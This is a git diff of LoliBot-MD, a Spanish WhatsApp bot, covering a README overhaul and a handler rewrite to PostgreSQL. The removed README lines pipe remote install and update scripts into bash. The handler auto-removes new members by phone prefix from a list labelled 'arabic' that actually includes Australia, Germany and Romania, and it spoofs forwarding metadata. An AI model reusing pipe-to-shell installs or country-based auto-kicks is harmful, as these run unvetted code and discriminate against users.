diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
index 274fdabb6..1956eacd1 100644
--- a/.github/FUNDING.yml
+++ b/.github/FUNDING.yml
@@ -8,4 +8,4 @@ community_bridge: # Replace with a single Community Bridge project-name e.g., cl
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
-custom: ['https://github.com/elrebelde21','https://boxmineworld.com', 'https://www.zipponodes.xyz']
+custom: ['https://github.com/elrebelde21','https://dash.skyultraplus.com', 'https://www.youtube.com/@elrebelde.21']
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 000000000..1f1b692d4
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,9 @@
+.npm/
+.git/
+package-lock.json
+yarn.lock
+node_modules/
+BotSession/
+jadibot/
+src/
+tmp/
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index a1cb1ec92..000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,19 +0,0 @@
-FROM node:lts-buster
-
-RUN apt-get update && \
- apt-get install -y \
- ffmpeg \
- imagemagick \
- webp && \
- apt-get upgrade -y && \
- rm -rf /var/lib/apt/lists/*
-
-COPY package.json .
-
-RUN npm install && npm install qrcode-terminal
-
-COPY . .
-
-EXPOSE 5000
-
-CMD ["node", "index.js"]
diff --git a/Menu2.jpg b/Menu2.jpg
deleted file mode 100644
index 8de25e74a..000000000
Binary files a/Menu2.jpg and /dev/null differ
diff --git a/Procfile b/Procfile
deleted file mode 100644
index 7cece1d39..000000000
--- a/Procfile
+++ /dev/null
@@ -1 +0,0 @@
-web: node . --server
diff --git a/README.md b/README.md
index 720281892..e3ff15e36 100644
--- a/README.md
+++ b/README.md
@@ -1,229 +1,208 @@
-> 🚀 Versión actual: 1.5.5
-
-
-
+
+
-
+
-
-
-
+
+
-
-
-
-
-
-
-
-
-
-
+
+
+
+
-### 💫 𝗗𝘂𝗱𝗮 𝘀𝗼𝗯𝗿𝗲 𝗲𝗹 𝗯𝗼𝘁?
-𝗖𝗼𝗻𝘁𝗮𝗰𝘁𝗮𝗺𝗲 ✨
+
+
+
+
+
+
+
-
+---
-
-
+
+
+
+
+
-### ❇️ 𝙂𝙍𝙐𝙋𝙊𝙎 𝙊𝙁𝙄𝘾𝙄𝘼𝙇𝙀𝙎
+---
-
-
-
-
-
-
+### 💫 Duda sobre el bot?, contactarme ✨
-
+
+
+
-[](https://git.io/typing-svg)
-[](https://whatsapp.com/channel/0029Va4QjH7DeON0ePwzjS1A)
+### ❇️ GRUPOS OFICIALES
+
+
+
+
+
+
------
-### 𝐀𝐂𝐓𝐈𝐕𝐀 𝐄𝐋 𝐓𝐄𝐑𝐌𝐔𝐗 - 𝙂𝙄𝙏𝙃𝙐𝘽
-[](https://youtu.be/O_j2q5xCg3A?si=rqKUJF-8w1OCeAxx?feature=share)
-> ⬇️ 𝐄𝐒𝐂𝐑𝐈𝐁𝐄 𝐋𝐎𝐒 𝐒𝐈𝐆𝐔𝐈𝐄𝐍𝐓𝐄𝐒 𝐂𝐎𝐌𝐀𝐍𝐃𝐎𝐒 𝐔𝐍𝐎 𝐏𝐎𝐑 𝐔𝐍𝐎 (Opción 1)
-```bash
-termux-setup-storage
-```
-```bash
-apt update -y && yes | apt upgrade && pkg install -y bash wget mpv && wget -O - https://raw.githubusercontent.com/elrebelde21/The-LoliBot-MD/master/install.sh | bash
-```
------
-### 📁 (OPCIÓN 2) 𝐀𝐂𝐓𝐈𝐕𝐀 𝐄𝐋 𝐓𝐄𝐑𝐌𝐔𝐗 - 𝘼𝙍𝘾𝙃𝙄𝙑𝙊𝙎
-> **Note** Descargué y Descomprime
-### [`The-LoliBot-MD ~ Archivos`](https://github.com/elrebelde21/The-LoliBot-MD/archive/refs/heads/master.zip)
-[
-](https://youtu.be/i1xjB4bmYCc?si=JBYC22-3mBkLpB8c)
+
+---
+
+## 🚀 Características destacadas
+
+
+
+
+
+ 🧠 Función
+ ✨ Descripción
+
+
+ 🤖 Jadibot
+ Conexión y reconexión automática
+
+
+ 📥 Descargas
+ Soporte para descargar de YouTube, TikTok, Instagram y más
+
+
+ 🛡️ Gestión de Grupos
+ Anti-enlaces, bienvenida, antifake, modo admin y más
+
+
+ ⚔️ Sistema RPG
+ Sistema de gacha, Sube de nivel, gana recompensas, juega con otros
+
+
+ 🎮 Juegos
+ Adivina, reto, piedra papel tijera, ruleta y más
+
+
+ 💻 Base de datos
+ PostgreSQL para una mayor eficiencia y escalabilidad
+
+
+ 🚧 En constante mejora
+ Siempre en evolución con nuevas ideas y funciones
+
+
+
+
+
+---
+
+### ☁️ Activar LoliBot-MD 24/7 activos en SkyPlus Host
+[](https://youtu.be/fZbcCLpSH6Y?si=1sDen7Bzmb7jVpAI)
+
+
+
+### Información del Host
+- **Pagina Oficial:** [`Aqui`](https://skyultraplus.com)
+- **Dashboard:** [`Aquí`](https://dash.skyultraplus.com)
+- **Panel:** [`Aquí`](https://panel.skyultraplus.com)
+- **Estado de servicios:** [`Aquí`](https://estado.skyultraplus.com)
+- **Canal de WhatsApp:** [`Aquí`](https://whatsapp.com/channel/0029VakUvreFHWpyWUr4Jr0g)
+- **Comunidad:** [`Aquí`](https://chat.whatsapp.com/JPwcXvPEUwlEOyjI3BpYys)
+- **Contacto(s):** [`Gata Dios`](https://wa.me/message/B3KTM5XN2JMRD1) / [`Russell`](https://api.whatsapp.com/send/?phone=15167096032&text&type=phone_number&app_absent=0) / [`elrebelde21`](https://facebook.com/elrebelde21)
+- **Discord:** [`aqui`](https://discord.gg/Ph4eWsZ8)
+
+- [x] **Configuración** **Ajustes del Servidor - LoliBot-MD**
+
+----
+## 🔰 Instalación por Termux
+
+[](https://youtu.be/O_j2q5xCg3A)
+
+[](https://f-droid.org/es/packages/com.termux/)
+
+> [!IMPORTANT]
+> **No garantizamos un funcionamiento perfecto en Termux. Es normal que el bot funcione con lentitud o errores, te recomendamos considerar los servicios de alojamiento de bots de nuestros patrocinadores.**
+
+### 📦 Comandos de instalación
+
```bash
termux-setup-storage
```
+
```bash
-apt update && apt upgrade && pkg install -y git nodejs ffmpeg imagemagick yarn
-```
-```bash
-cd storage/downloads/The-LoliBot-MD-master/The-LoliBot-MD-master
+apt update && apt upgrade -y && pkg install -y git nodejs ffmpeg imagemagick yarn
```
+
```bash
-yarn install
+git clone https://github.com/elrebelde21/LoliBot-MD && cd LoliBot-MD
```
+
```bash
-npm install
+bash install.sh
```
+
```bash
npm start
```
------
-### `𝐀𝐂𝐓𝐈𝐕𝐀𝐑 𝐄𝐍 𝐂𝐀𝐒𝐎 𝐃𝐄 𝐃𝐄𝐓𝐄𝐍𝐄𝐑𝐒𝐄`
-```bash
-𝐄𝐒𝐂𝐑𝐈𝐁𝐄 𝐋𝐎𝐒 𝐒𝐈𝐆𝐔𝐈𝐄𝐍𝐓𝐄𝐒 𝐂𝐎𝐌𝐀𝐍𝐃𝐎𝐒 𝐔𝐍𝐎 𝐏𝐎𝐑 𝐔𝐍𝐎:
-> cd
-> cd The-LoliBot-MD
-> npm start
-```
-### `𝐎𝐁𝐓𝐄𝐍𝐄𝐑 𝐎𝐓𝐑𝐎 𝐂𝐎𝐃𝐈𝐆𝐎 𝐐𝐑
-```bash
-𝐄𝐒𝐂𝐑𝐈𝐁𝐄 𝐋𝐎𝐒 𝐒𝐈𝐆𝐔𝐈𝐄𝐍𝐓𝐄𝐒 𝐂𝐎𝐌𝐀𝐍𝐃𝐎𝐒 𝐔𝐍𝐎 𝐏𝐎𝐑 𝐔𝐍𝐎:
-> cd
-> cd The-LoliBot-MD
-> rm -rf BotSession
-> npm start
-```
-------------------
-### 🚀 USAR LOLIBOT 24/7 EN TERMUX
-> Ejecutar estos comandos dentro de la carpeta The-LoliBot-MD
-```bash
-termux-wake-lock && npm i -g pm2 && pm2 start index.js && pm2 save && pm2 logs
-```
-#### ⬇️ Opciones Disponibles
-> **Warning** Esto eliminará todo el historial que hayas establecido con PM2:
-```bash
-pm2 delete index
-```
-> Si tienes cerrado Termux y quiere ver de nuevo la ejecución use:
-```bash
-pm2 logs
-```
-> Si desea detener la ejecución de Termux use:
-```bash
-pm2 stop index
-```
-> Si desea iniciar de nuevo la ejecución de Termux use:
-```bash
-pm2 start index
-```
-----
-### 😼 ACTUALIZAR LOLIBOT
-> **Note** Comandos para actualizar The-LoliBot-MD de forma automática
-```bash
-grep -q 'bash\|wget' <(dpkg -l) || apt install -y bash wget && wget -O - https://raw.githubusercontent.com/elrebelde21/The-LoliBot-MD/master/update.sh | bash
-```
-#### Para que no pierda su progreso en LoliBot, estos comandos realizarán un respaldo de su `database.json` y se agregará a la versión más reciente.
-> **Warning** Estos comandos solo funcionan para TERMUX, REPLIT, LINUX
------
-### ✅ QUIERE TENER EL BOT 24/7 ACTIVO ACTIVAR EL BOXMINEHOST
-[
-](https://youtu.be/wWyBHtKzx9Q?si=ihODwzs0pnVhzs5s)
-
-
-### BoxMine World
-----
-### 🟣 ACTIVAR EN HEROKU
-[](https://heroku.com/deploy?template=https://github.com/elrebelde21/The-LoliBotMD-Heroku)
-### 👇 Añada lo siguente al Buildpack:
-```bash
-heroku/nodejs
-```
-```bash
-https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest.git
-```
-```bash
-https://github.com/clhuang/heroku-buildpack-webp-binaries.git
-```
------
-- [x] Resultado Buildpack
-------------------
-### ⚡ ACTIVA EL REPLIT
-[
-](https://youtu.be/SMjCcfuyWQE)
-
-
-------------------
-- [x] Resultado Importar Repositorio - The-LoliBot-MD
-------------------
-### 🌱 ACTIVAR EN KOYEB
-
-[](https://app.koyeb.com/deploy?type=git&repository=github.com/elrebelde21/The-LoliBot-MD&branch=master&name=the-lolibot-md)
-
-------------------
-### ☁️ ACTIVAR EN RENDER
-[](https://dashboard.render.com/blueprint/new?repo=https%3A%2F%2Fgithub.com%2Felrebelde21%2FThe-LoliBot-MD)
-
-------------------
-## 💻 PARA USUARIOS DE WINDOWS/VPS/RDP
-
-* Descargar e instala Git [`Aquí`](https://git-scm.com/downloads)
-* Descargar e instala NodeJS [`Aquí`](https://nodejs.org/en/download)
-* Descargar e instala FFmpeg [`Aquí`](https://ffmpeg.org/download.html) (**No olvide agregar FFmpeg a la variable de entorno PATH**)
-* Descargar e instala ImageMagick [`Aquí`](https://imagemagick.org/script/download.php)
-* Descargar e instala Yarn [`Aquí`](https://classic.yarnpkg.com/en/docs/install#windows-stable)
-```bash
-git clone https://github.com/elrebelde21/The-LoliBot-MD && cd The-LoliBot-MD && npm install && npm update && node .
-```
-## 💻 Instalación de FFmpeg para Windows
-* Descarga cualquiera de las versiones de FFmpeg disponibles haciendo clic en [FFmpeg](https://www.gyan.dev/ffmpeg/builds/).
-* Extraer archivos a `C:\` path.
-* Cambie el nombre de la carpeta extraída a `ffmpeg`.
-* Ejecute el símbolo del sistema como administrador.
-* Ejecute el siguiente comando:
-```cmd
-> setx /m PATH "C:\ffmpeg\bin;%PATH%"
-```
-Si tiene éxito, le dará un mensaje como: `SUCCESS: specified value was saved`.
-* Ahora que tiene FFmpeg instalado, verifique que funcionó ejecutando este comando para ver la versión:
-```cmd
-> ffmpeg -version
-```
-----
-### `📝 NOTA 📝`
-```bash
-🔸ESTE REPOSITORIO SE PUBLICA LA VERSIÓN ACTUAL|OFICIAL DE THE-LOLIBOT-MD
-🔸ES POSIBLE QUE EL BOT TENGA ALGUNAS FALLAS, SE IRAN SOLUCIONANDO CONFORME SE VAYAN DETECTANDO
-🔸SI VAS A EDITAR POR COMPLETO DEJA LOS CRÉDITOS DEL BOT
-🔸ATENTO A LAS NUEVAS ACTUALIZACIÓNES QUE SE HAGAN EN ESTE REPOSITORIO
-🔸EL ADD/KICK PUEDEN OCASIONAR QUE EL NÚMERO SE VAYA A SOPORTE POR ELLO SE ACTIVA CON #enable restrict
-🔸THE-LOLIBOT-MD, NO SE HACE RESPONSABLE DEL USO, NÚMERO, PRIVACIDAD Y CONTENIDO MANDADO, O USADO O GESTIONADO POR USTEDES O EL BOT.
-```
-----
-### 🌟 EDITOR Y PROPIETARIO DEL BOT
-
+---
+
+## 👨💻 Desarrollador principal
+
+
+
+
+ @elrebelde21
+
+
+
+
+ 👑 Dueña/Propietaria:
+
+
+ @itschinita_official
+
+
+
+---
+
+## 👥 Colaboradores
-### 🌟 COLABORADORES
-[](https://github.com/GataNina-Li)
-[](https://github.com/Yesenia57)
-[](https://github.com/AzamiJs)
-[](https://github.com/KatashiFukushima)
+
+
+
+
+
+
+
+---
-### 🌟 AGRADECIMIENTOS
-[](https://github.com/BrunoSobrino)
+⚠️ AVISOS IMPORTANTES
+
+
+
+
+
+
+ 🚧 Este repositorio publica la versión actual y oficial de LoliBot-MD.
+ 📢 Es posible que el bot tenga algunas fallas; se irán corrigiendo conforme se detecten.
+ ✂️ Si vas a editar o compartir el bot, no elimines los créditos originales .
+ 🎯 Atento a las nuevas actualizaciones que se realicen en este repositorio.
+ 🔒 LoliBot-MD no se hace responsable del uso, número, privacidad ni contenido enviado, usado o gestionado por los usuarios o el bot. Úsalo bajo tu responsabilidad.
+ 🚧 Actualmente está en versión BETA en desarrollo.
+
+
+
+
+
+
+
+---
+
+
+
+
+
+
+
+
[v, new RegExp(v, 'gi')]).filter(v => v[1].test(string))
-if (!results.length) return ''
-else return emot[results[0][0]]
-}}
-
-global.rpgg = { //Solo emojis
-emoticon(string) {
-string = string.toLowerCase()
-let emott = {
-level: '🧬', limit: '💎', exp: '⚡', bank: '🏦',
-diamond: '💎+', health: '❤️', kyubi: '🌀', joincount: '🪙',
-emerald: '💚', stamina: '✨', role: '💪', premium: '🎟️',
-pointxp: '📧', gold: '👑',
-trash: '🗑', crystal: '🔮', intelligence: '🧠', string: '🕸️', keygold: '🔑',
-keyiron: '🗝️', emas: '🪅', fishingrod: '🎣', gems: '🍀', magicwand: '⚕️',
-mana: '🪄', agility: '🤸♂️', darkcrystal: '♠️', iron: '⛓️', rock: '🪨',
-potion: '🥤', superior: '💼', robo: '🚔', upgrader: '🧰', wood: '🪵',
-strength: '🦹 ♀️', arc: '🏹', armor: '🥼', bow: '🏹', pickaxe: '⛏️', sword: '⚔️',
-common: '📦', uncoommon: '🥡', mythic: '🗳️', legendary: '🎁', petFood: '🍖', pet: '🍱',
-bibitanggur: '🍇', bibitapel: '🍎', bibitjeruk: '🍊', bibitmangga: '🥭', bibitpisang: '🍌',
-ayam: '🐓', babi: '🐖', Jabali: '🐗', bull: '🐃', buaya: '🐊', cat: '🐈',
-centaur: '🐐', chicken: '🐓', cow: '🐄', dog: '🐕', dragon: '🐉', elephant: '🐘',
-fox: '🦊', giraffe: '🦒', griffin: '🦅', //Mascota : Griffin',
-horse: '🐎', kambing: '🐐', kerbau: '🐃', lion: '🦁', money: '🐱', monyet: '🐒', panda: '🐼',
-snake: '🐍', phonix: '🕊️', rhinoceros: '🦏',
-wolf: '🐺', tiger: '🐅', cumi: '🦑', udang: '🦐', ikan: '🐟',
-fideos: '🍝', ramuan: '🧪', knife: '🔪'
-}
-let results = Object.keys(emott).map(v => [v, new RegExp(v, 'gi')]).filter(v => v[1].test(string))
-if (!results.length) return ''
-else return emott[results[0][0]]
-}}
-
-global.rpgshop = { //Tienda
-emoticon(string) {
-string = string.toLowerCase()
-let emottt = {
-exp: lenguajeGB.eExp(), limit: lenguajeGB.eDiamante(), diamond: lenguajeGB.eDiamantePlus(), joincount: lenguajeGB.eToken(),
-emerald: lenguajeGB.eEsmeralda(), berlian: lenguajeGB.eJoya(), kyubi: lenguajeGB.eMagia(), gold: lenguajeGB.eOro(),
-money: lenguajeGB.eGataCoins(), tiketcoin: lenguajeGB.eGataTickers(), stamina: lenguajeGB.eEnergia(),
-potion: lenguajeGB.ePocion(), aqua: lenguajeGB.eAgua(), trash: lenguajeGB.eBasura(), wood: lenguajeGB.eMadera(),
-rock: lenguajeGB.eRoca(), batu: lenguajeGB.ePiedra(), string: lenguajeGB.eCuerda(), iron: lenguajeGB.eHierro(),
-coal: lenguajeGB.eCarbon(), botol: lenguajeGB.eBotella(), kaleng: lenguajeGB.eLata(), kardus: lenguajeGB.eCarton(),
-eleksirb: lenguajeGB.eEletric(), emasbatang: lenguajeGB.eBarraOro(), emasbiasa: lenguajeGB.eOroComun(), rubah: lenguajeGB.eZorroG(),
-sampah: lenguajeGB.eBasuraG(), serigala: lenguajeGB.eLoboG(), kayu: lenguajeGB.eMaderaG(), sword: lenguajeGB.eEspada(),
-umpan: lenguajeGB.eCarnada(), healtmonster: lenguajeGB.eBillete(), emas: lenguajeGB.ePinata(), pancingan: lenguajeGB.eGancho(),
-pancing: lenguajeGB.eCanaPescar(),
-common: lenguajeGB.eCComun(), uncoommon: lenguajeGB.ePComun(), mythic: lenguajeGB.eCMistica(),
-pet: lenguajeGB.eCMascota(),//?
-gardenboxs: lenguajeGB.eCJardineria(),//?
-legendary: lenguajeGB.eClegendaria(),
-anggur: lenguajeGB.eUva(), apel: lenguajeGB.eManzana(), jeruk: lenguajeGB.eNaranja(), mangga: lenguajeGB.eMango(), pisang: lenguajeGB.ePlatano(),
-bibitanggur: lenguajeGB.eSUva(), bibitapel: lenguajeGB.eSManzana(), bibitjeruk: lenguajeGB.eSNaranja(), bibitmangga: lenguajeGB.eSMango(), bibitpisang: lenguajeGB.eSPlatano(),
-centaur: lenguajeGB.eCentauro(), griffin: lenguajeGB.eAve(), kucing: lenguajeGB.eGato(), naga: lenguajeGB.eDragon(),
-fox: lenguajeGB.eZorro(), kuda: lenguajeGB.eCaballo(), phonix: lenguajeGB.eFenix(), wolf: lenguajeGB.eLobo(),
-anjing: lenguajeGB.ePerro(),
-petFood: lenguajeGB.eAMascots(), //?
-makanancentaur: lenguajeGB.eCCentauro(), makanangriffin: lenguajeGB.eCAve(),
-makanankyubi: lenguajeGB.eCMagica(), makanannaga: lenguajeGB.eCDragon(), makananpet: lenguajeGB.eACaballo(), makananphonix: lenguajeGB.eCFenix()
-}
-let results = Object.keys(emottt).map(v => [v, new RegExp(v, 'gi')]).filter(v => v[1].test(string))
-if (!results.length) return ''
-else return emottt[results[0][0]]
-}}
-
-global.rpgshopp = { //Tienda
-emoticon(string) {
-string = string.toLowerCase()
-let emotttt = {
-exp: '⚡', limit: '💎', diamond: '💎+', joincount: '🪙',
-emerald: '💚', berlian: '♦️', kyubi: '🌀', gold: '👑',
-money: '🐱', tiketcoin: '🎫', stamina: '✨',
-potion: '🥤', aqua: '💧', trash: '🗑', wood: '🪵',
-rock: '🪨', batu: '🥌', string: '🕸️', iron: '⛓️',
-coal: '⚱️', botol: '🍶', kaleng: '🥫', kardus: '🪧',
-eleksirb: '💡', emasbatang: '〽️', emasbiasa: '🧭', rubah: '🦊🌫️',
-sampah: '🗑🌫️', serigala: '🐺🌫️', kayu: '🛷', sword: '⚔️',
-umpan: '🪱', healtmonster: '💵', emas: '🪅', pancingan: '🪝',
-pancing: '🎣',
-common: '📦', uncoommon: '🥡', mythic: '🗳️',
-pet: '📫',//?
-gardenboxs: '💐',//?
-legendary: '🎁',
-anggur: '🍇', apel: '🍎', jeruk: '🍊', mangga: '🥭', pisang: '🍌',
-bibitanggur: '🌾🍇', bibitapel: '🌾🍎', bibitjeruk: '🌾🍊', bibitmangga: '🌾🥭', bibitpisang: '🌾🍌',
-centaur: '🐐', griffin: '🦅', kucing: '🐈', naga: '🐉', fox: '🦊', kuda: '🐎', phonix: '🕊️', wolf: '🐺', anjing: '🐶',
-petFood: '🍖', //?
-makanancentaur: '🐐🥩', makanangriffin: '🦅🥩', makanankyubi: '🌀🥩', makanannaga: '🐉🥩',
-makananpet: '🍱🥩', makananphonix: '🕊️🥩'
-}
-let results = Object.keys(emotttt).map(v => [v, new RegExp(v, 'gi')]).filter(v => v[1].test(string))
-if (!results.length) return ''
-else return emotttt[results[0][0]]
-}}
+//----------------------------------------------------
let file = fileURLToPath(import.meta.url)
watchFile(file, () => {
-unwatchFile(file)
-console.log(chalk.redBright("Se actualizo 'config.js'"))
-import(`${file}?update=${Date.now()}`)
+ unwatchFile(file)
+ console.log(chalk.redBright("Update 'config.js'"))
+ import(`${file}?update=${Date.now()}`)
})
diff --git a/handler.js b/handler.js
index bb44e828e..3b873338e 100644
--- a/handler.js
+++ b/handler.js
@@ -1,1542 +1,847 @@
-import {generateWAMessageFromContent} from '@whiskeysockets/baileys';
-import { smsg } from './lib/simple.js'
-import { format } from 'util'
-import { fileURLToPath } from 'url'
-import path, { join } from 'path'
-import { unwatchFile, watchFile } from 'fs'
-import chalk from 'chalk'
-import fetch from 'node-fetch'
-import mddd5 from 'md5'
-
-/**
- * @type {import('@adiwajshing/baileys')}
- */
-const { proto } = (await import('@whiskeysockets/baileys')).default
-const isNumber = x => typeof x === 'number' && !isNaN(x)
-const delay = ms => isNumber(ms) && new Promise(resolve => setTimeout(function () {
- clearTimeout(this)
- resolve()
-}, ms))
-
-/**
- * Handle messages upsert
- * @param {import('@adiwajshing/baileys').BaileysEventMap['messages.upsert']} groupsUpdate
- */
-export async function handler(chatUpdate) {
-this.msgqueque = this.msgqueque || [];
-this.uptime = this.uptime || Date.now();
-if (!chatUpdate) {
-return;
-}
-this.pushMessage(chatUpdate.messages).catch(console.error);
-let m = chatUpdate.messages[chatUpdate.messages.length - 1];
-if (!m) {
-return;
+import "./config.js";
+import { watchFile, unwatchFile } from 'fs';
+import fs from "fs";
+import path from "path";
+import chalk from "chalk";
+import { fileURLToPath, pathToFileURL } from "url";
+import crypto from "crypto";
+import { db, getSubbotConfig } from "./lib/postgres.js";
+import { logCommand, logError, logMessage, LogLevel } from "./lib/logger.js";
+import { smsg } from "./lib/simple.js";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const pluginsFolder = path.join(__dirname, "plugins");
+
+const processedMessages = new Set();
+const lastDbUpdate = new Map();
+const groupMetaCache = new Map();
+export async function participantsUpdate(conn, { id, participants, action, author }) {
+try {
+if (!id || !Array.isArray(participants) || !action) return;
+if (!conn?.user?.id) return;
+const botId = conn.user.id;
+const botConfig = await getSubbotConfig(botId)
+const modo = botConfig.mode || "public"
+const botJid = conn.user?.id?.replace(/:\d+@/, "@")
+const isCreator = global.owner.map(([v]) => v.replace(/[^0-9]/g, "") + "@s.whatsapp.net").includes(author || "")
+if (modo === "private" && !isCreator && author !== botJid) return
+
+const metadata = await conn.groupMetadata(id);
+groupMetaCache.set(id, metadata);
+const groupName = metadata.subject || "Grupo"
+const botJidClean = (conn.user?.id || "").replace(/:\d+/, "")
+const botLidClean = (conn.user?.lid || "").replace(/:\d+/, "")
+
+const isBotAdmin = metadata.participants.some(p => {
+ const cleanId = p.id?.replace(/:\d+/, "");
+ return (
+ (cleanId === botJidClean || cleanId === botLidClean) &&
+ (p.admin === "admin" || p.admin === "superadmin")
+ );
+});
+
+const settings = (await db.query("SELECT * FROM group_settings WHERE group_id = $1", [id])).rows[0] || {
+welcome: true,
+detect: true,
+antifake: false
}
-if (global.db.data == null) await global.loadDatabase()
-/*------------------------------------------------*/
-if (global.chatgpt.data === null) await global.loadChatgptDB();
-/*------------------------------------------------*/
+
+const arabicCountryCodes = ['+91', '+92', '+222', '+93', '+265', '+213', '+225', '+240', '+241', '+61', '+249', '+62', '+966', '+229', '+244', '+40', '+49', '+20', '+963', '+967', '+234', '+256', '+243', '+210', '+249', ,'+212', '+971', '+974', '+968', '+965', '+962', '+961', '+964', '+970'];
+const pp = "./media/Menu1.jpg"
+
+for (const participant of participants) {
+if (!participant || typeof participant !== 'string' || !participant.includes('@')) continue;
+const userTag = typeof participant === 'string' && participant.includes('@') ? `@${participant.split("@")[0]}` : "@usuario"
+const authorTag = typeof author === 'string' && author.includes('@') ? `@${author.split("@")[0]}` : "alguien"
+
+if (action === "add" && settings.antifake) {
+const phoneNumber = participant.split("@")[0]
+const isFake = arabicCountryCodes.some(code => phoneNumber.startsWith(code.slice(1)))
+
+if (isFake && isBotAdmin) {
+await conn.sendMessage(id, { text: `⚠️ ${userTag} fue eliminado automáticamente por *número no permitido*`, mentions: [participant] })
+await conn.groupParticipantsUpdate(id, [participant], "remove")
+continue
+} else if (isFake && !isBotAdmin) {
+//await conn.sendMessage(id, { text: `⚠️ ${userTag} tiene un número prohibido, pero no tengo admin para eliminarlo.`, mentions: [participant] })
+continue
+}}
+
+let image
try {
-m = smsg(this, m) || m
-if (!m)
-return
-m.exp = 0
-m.limit = false
-m.money = false
+image = await conn.profilePictureUrl(participant, "image")
+} catch {
+image = pp
+}
+
+switch (action) {
+case "add":
+if (settings.welcome) {
+const groupDesc = metadata.desc || "*ᴜɴ ɢʀᴜᴘᴏ ɢᴇɴɪᴀ😸*\n *sɪɴ ʀᴇɢʟᴀ 😉*"
+const raw = settings.swelcome || `HOLAA!! @user ¿COMO ESTAS?😃\n\n『Bienvenido A *@group*』\n\nUn gusto conocerte amig@ 🤗\n\n_Recuerda leer las reglas del grupo para no tener ningun problema 🧐_\n\n*Solo disfrutar de este grupo y divertite 🥳*`
+const msg = raw
+.replace(/@user/gi, userTag)
+.replace(/@group|@subject/gi, groupName)
+.replace(/@desc/gi, groupDesc)
+
+if (settings.photowelcome) {
+await conn.sendMessage(id, { image: { url: image },caption: msg,
+contextInfo: {
+mentionedJid: [participant],
+isForwarded: true,
+forwardingScore: 999999,
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️"
+}}}, { quoted: null })
+} else {
+await conn.sendMessage(id, { text: msg,
+contextInfo: {
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️"
+},
+forwardingScore: 9999999,
+isForwarded: true,
+mentionedJid: [participant],
+externalAdReply: {
+mediaUrl: [info.nna, info.nna2, info.md].getRandom(),
+mediaType: 2,
+showAdAttribution: false,
+renderLargerThumbnail: false,
+thumbnailUrl: image,
+title: "🌟 WELCOME 🌟",
+body: "Bienvenido al grupo 🤗",
+containsAutoReply: true,
+sourceUrl: "https://skyultraplus.com"
+}}}, { quoted: null })
+}}
+break
+
+case "remove":
try {
-// use el bucle para insertar datos en lugar de esto
-let user = global.db.data.users[m.sender]
-/*------------------------------------------------*/
-let chatgptUser = global.chatgpt.data.users[m.sender];
-if (typeof chatgptUser !== "object")
-global.chatgpt.data.users[m.sender] = [];
-/*------------------------------------------------*/
-if (typeof user !== 'object')
-global.db.data.users[m.sender] = {}
-if (user) {
-if (!isNumber(user.exp)) user.exp = 0
-if (!('premium' in user)) user.premium = false
-if (!isNumber(user.joincount)) user.joincount = 1
-if (!isNumber(user.money)) user.money = 100
-if (!isNumber(user.limit)) user.limit = 8
-if (!('registered' in user)) user.registered = false
-if (!('registroR' in user)) user.registroR = false
-if (!('registroC' in user)) user.registroC = false
-if (!isNumber(user.IDregister)) user.IDregister = 0
-if (!user.registered) {
-if (!('name' in user)) user.name = m.name
-if (!isNumber(user.age)) user.age = 0
-if (!isNumber(user.descripcion)) user.descripcion = 0
-if (!isNumber(user.genero)) user.genero = 0
-if (!isNumber(user.identidad)) user.identidad = 0
-if (!isNumber(user.pasatiempo)) user.pasatiempo = 0
-if (!isNumber(user.tiempo)) user.tiempo = 0
-if (!isNumber(user.premLimit)) user.premLimit = 0
-if (!isNumber(user.miestado)) user.miestado = 0
-if (!isNumber(user.anggur)) user.anggur = 0
-if (!isNumber(user.apel)) user.apel = 0
-if (!isNumber(user.bibitanggur)) user.bibitanggur = 0
-if (!isNumber(user.bibitapel)) user.bibitapel = 0
-if (!isNumber(user.bibitjeruk)) user.bibitjeruk = 0
-if (!isNumber(user.bibitmangga)) user.bibitmangga = 0
-if (!isNumber(user.bibitpisang)) user.bibitpisang = 0
-if (!isNumber(user.emas)) user.emas = 0
-if (!isNumber(user.jeruk)) user.jeruk = 0
-if (!isNumber(user.kayu)) user.kayu = 0
-if (!isNumber(user.makanan)) user.makanan = 0
-if (!isNumber(user.mangga)) user.mangga = 0
-if (!isNumber(user.pisang)) user.pisang = 0
-if (!isNumber(user.premiumDate)) user.premiumDate = -1
-if (!isNumber(user.regTime)) user.regTime = -1
-if (!isNumber(user.semangka)) user.semangka = 0
-if (!isNumber(user.stroberi)) user.stroberi = 0
+await db.query(`DELETE FROM messages
+ WHERE user_id = $1 AND group_id = $2`, [participant, id]);
+const botJid = (conn.user?.id || "").replace(/:\d+/, "");
+if (participant.replace(/:\d+/, "") === botJid) {
+await db.query(`UPDATE chats SET joined = false
+ WHERE id = $1 AND bot_id = $2`, [id, botJid]);
+console.log(`[DEBUG] El bot fue eliminado del grupo ${id}. Marcado como 'joined = false'.`);
+}} catch (err) {
+console.error("❌ Error en 'remove':", err);
+}
+
+if (settings.welcome && conn?.user?.jid !== globalThis?.conn?.user?.jid) {
+const groupDesc = metadata.desc || "Sin descripción"
+const raw = settings.sbye || `Bueno, se fue @user 👋\n\nQue dios lo bendiga 😎`
+const msg = raw
+.replace(/@user/gi, userTag)
+.replace(/@group/gi, groupName)
+.replace(/@desc/gi, groupDesc)
+
+if (settings.photobye) {
+await conn.sendMessage(id, { image: { url: image },caption: msg,
+contextInfo: {
+mentionedJid: [participant],
+isForwarded: true,
+forwardingScore: 999999,
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️"
+}}}, { quoted: null })
+} else {
+await conn.sendMessage(id, { text: msg,
+contextInfo: {
+forwardedNewsletterMessageInfo: {
+newsletterJid: ["120363305025805187@newsletter", "120363301598733462@newsletter"].getRandom(),
+newsletterName: "LoliBot ✨️"
+},
+forwardingScore: 9999999,
+isForwarded: true,
